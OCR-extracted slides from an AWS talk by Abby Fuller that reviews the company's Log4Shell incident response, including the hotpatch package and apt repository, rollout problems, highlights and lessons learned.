ﬂ AWS is NOT impacted.

aWS’ © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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Amazon Linux 1 and Amazon Linux 2 start applying the hotpatch by default to installed
JDKs m

We also publish
sanzoniEA g RARE to make the hotpatch easily accessible for
customers running Debian and Ubuntu.

> yum 1nstall log4dj-cve-
2021-44228-hotpatch

Welcome to the Amazon Linux apt repository

This repository hosts packages build for Debian, Ubuntu, and other Debian-derived Linux distributions.

The rpm hotpatch The Amazon Linux apt repo

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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http://apt.repo.amazonlinux.com

Phew. What went well? What didn’t?
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There were less successful elements to our Log4Shell response

1. We had rocky starts for teams in terms of deployment
instructions, especially as additional CVEs rolled out.

2. We were inconsistent with providing customer messaging
updates, particularly during the first half of the event.

3. We had some hotpatch rollout snags, like the latency blips for
Lambda.

4. Deploying things on behalf of teams en masse is unusual, and we
caused some confusion with how we communicated what was
happening with the hotpatch.

5. Initial tickets often went to service on-calls who weren’t familiar
with Log4Shell. In a lot of cases, we should have gone straight to
senior engineers and managers.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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) The good news: there were some really,
really cool wins here.
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A few highlights

1. Ryan proposing removing the entire JndiLookup class,

and assuming that log4dj vl was affected from the
beginning.

2. Defense in depth: we continued to add layers
throughout the response, and iterated on filters and
blocks as we learned new info. The analysis from the
AWS Security teams was key here.

3. The hotpatch from Volker

4. This was an utterly massive load on the build tooling.
Proactive thinking from Builder Tools limited the
headache here.

5. Hard work from thousands of teams during a
particularly tough time of year. Nothing gets you in the
holiday spirit like a 0-day!

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.
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More generally, what did we learn about
what works (and what doesn’t)?

V

aW% © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved.



1. Engage leaders early.

2. (Over)communicate often.

3. Work backwards from what you can do FOR
teams.

4. Have a plan for the long haul

5. You need who you need. It's ok to go straight™cc
senior engineers or leadership.

6. Iterate quickly.
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All told, we wrote around six separate retrospectives for
Log4Shell, covering everything from the incident response itself
to the build tooling performance.

aWS © 2022, Amazon Web Services, Inc. or its affiliates. All rights reserved
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Lastly, this wouldnt be a Log4Shell talk without acknowledging
the incredible dedication and hard work from thousands of AWS
teams.
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Thank you!

Abby Fuller
abbyfull@amazon.com
@abbyfuller
E;W Please cc?mplete the session survey in
J]% the mobile app
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